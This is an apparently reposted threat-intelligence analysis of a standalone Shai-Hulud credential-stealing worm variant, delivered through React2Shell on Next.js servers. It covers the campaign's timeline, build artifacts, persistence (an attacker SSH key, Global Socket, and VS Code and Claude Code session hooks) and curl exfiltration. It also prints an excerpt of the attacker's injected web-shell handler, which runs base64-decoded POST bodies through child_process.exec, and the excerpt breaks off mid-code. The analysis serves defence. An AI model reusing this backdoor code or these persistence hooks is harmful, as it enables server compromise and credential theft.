Shai-Hulud rebuilt as a standalone stealer

sbahra1 pts0 comments

Shai-Hulud rebuilt as a standalone stealer - Bitbison<br>Shai-Hulud is a recurring software supply-chain worm that steals developer and cloud credentials to compromise more repositories and packages. An analysis of Shai-Hulud 2.0 recovered about 24,000 exfiltrated environment records. About half were unique and most described Linux environments. We found a new Mini Shai-Hulud variant that makes the worm a general Linux post-exploitation payload. It executes without a malicious package installation or build workflow while retaining Shai-Hulud's credential theft and GitHub and npm propagation. In this campaign, React2Shell provided initial access before the operator launched the variant with a separate SSH worm and multiple persistence mechanisms.<br>How this Shai-Hulud variant and campaign differ<br>React2Shell launches Shai-Hulud before it propagates. The operator uses React2Shell for initial remote code execution (RCE) on the Next.js server then launches the standalone variant. Shai-Hulud spreads through GitHub repositories and npm packages. A separate SSH worm moves between reachable hosts.<br>React2Shell installs command execution inside the Next.js server. Three in-process HTTP handlers execute arbitrary shell commands and return their output over the existing request connection. This provides an exfiltration channel without an outbound connection or new listener.<br>The operator installs three payload handlers together. In the same second, the exploit installs separate handlers for the standalone Shai-Hulud variant, the SSH worm and a persistence stage containing an attacker key and Global Socket tooling. The operator later invokes the handlers.<br>Access persists at the process, host and repository levels. The injected HTTP handlers remain until the Node.js process restarts. An attacker SSH key and Global Socket startup hooks survive host restarts. Shai-Hulud adds VS Code folder-open and Claude Code SessionStart hooks to compromised repositories.<br>Build artifacts identify a separate standalone target<br>The available evidence places the likely build date on 12-15 May 2026. The executable embeds Bun 1.3.14, publicly released on May 12th 2026. It was present on the staging host by 15 May. The npm campaign began on 11 May, so the artifact was likely produced after the campaign began.<br>The build contains an OpenSearch commit reference that no longer resolves. PACKAGE_NAME points to github:opensearch-project/opensearch-js#d446803f…. The commit hash does not appear in the upstream repository, its 145 forks or GitHub commit search. OpenSearch reported that the supply-chain compromise occurred at about 20:30 EDT on 11 May and marked the incident resolved on 15 May. This response window overlaps the standalone build window. We cannot determine how the reference disappeared.<br>Build paths identify the standalone target. All modules contain paths under ../Shai-Hulud-Standalone/src/….<br>The executable needs no npm, Node.js or runtime download<br>Bun embeds its runtime in the executable. The variant was compiled with bun build --compile. Execution does not require npm, Node.js or a separately installed Bun runtime.<br>A standalone polyfill limits the required source changes. The new utils/standalonePolyfill.ts file adapts the existing code to Bun's compiled target without restructuring the rest of the build.<br>React2Shell delivers the executable<br>The exploit installs command handlers inside the running Next.js process. The operator monkey-patches http.Server.prototype.emit to intercept selected HTTP request paths and passes each decoded POST body to child_process.exec.<br>The /nacarejv command performs the exfiltration. It downloads the standalone executable, redirects its standard output to r.txt then uses a separate curl invocation to POST the file to an attacker-controlled collector.<br>React2Shell installs three in-process backdoors<br>We instrumented a research fleet with Bitbison and exposed a genuinely vulnerable React Server Components stack to the internet as part of the scenario described in React2Shell: 8 months later. One compromise delivered the standalone Shai-Hulud executable together with the SSH worm and persistent-access tooling analyzed below.<br>The exploit replaces http.Server.prototype.emit while the process is running. The following excerpt shows one of the three installed handlers:<br>const originalEmit = http.Server.prototype.emit;<br>http.Server.prototype.emit = function (event, ...args) {<br>if (event === 'request') {<br>const [req, res] = args;<br>if (url.parse(req.url, true).pathname === '/nacarejv' && req.method === 'POST') {<br>// the POST body is base64-decoded into a shell command, then run<br>const cmd = Buffer.from(body, 'base64').toString('utf8') || 'whoami';<br>cp.exec(cmd, (err, stdout, stderr) => {<br>res.writeHead(200, {'Content-Type': 'application/json',<br>'Access-Control-Allow-Origin': '*'});<br>res.end(JSON.stringify({ success: !err, stdout, stderr,<br>error: err ? err.message : null }));<br>});<br>return true;<br>return originalEmit.apply(this,...

shai hulud standalone build react2shell server

Related Articles